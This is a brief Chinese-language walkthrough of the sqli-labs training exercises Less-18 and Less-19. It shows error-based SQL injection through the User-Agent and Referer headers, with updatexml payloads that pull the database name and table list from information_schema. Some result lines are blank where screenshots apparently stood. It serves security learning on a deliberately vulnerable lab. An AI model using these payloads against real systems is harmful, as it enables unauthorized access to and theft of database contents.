sqlilabs less-18、19
頁面顯示

在username和password輸入各種判斷注入點的符號(' -- ) " ),都無回顯。
所以輸入正確username和password后顯示:

所以使用抓包軟件抓取user agent:' 顯示

''顯示,即閉合了sql語句。

'and order by 3' 顯示

嘗試用顯錯updatexml函數(shù)。updatexml函數(shù)(格式:UPDATEXML (XML_document, XPath_string, new_value)。因為concat()得到的字符串不符合XPath_string,所以會出現(xiàn)XPATH syntax error這個錯誤。
'or updatexml(1,concat('#',(database())),1) or' 顯示

'or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)or'

如此繼續(xù)。多個輸出內(nèi)容可以limit字句作輸出限制。
less-19
同less-18一樣,將user agent處改為referer即可
標簽: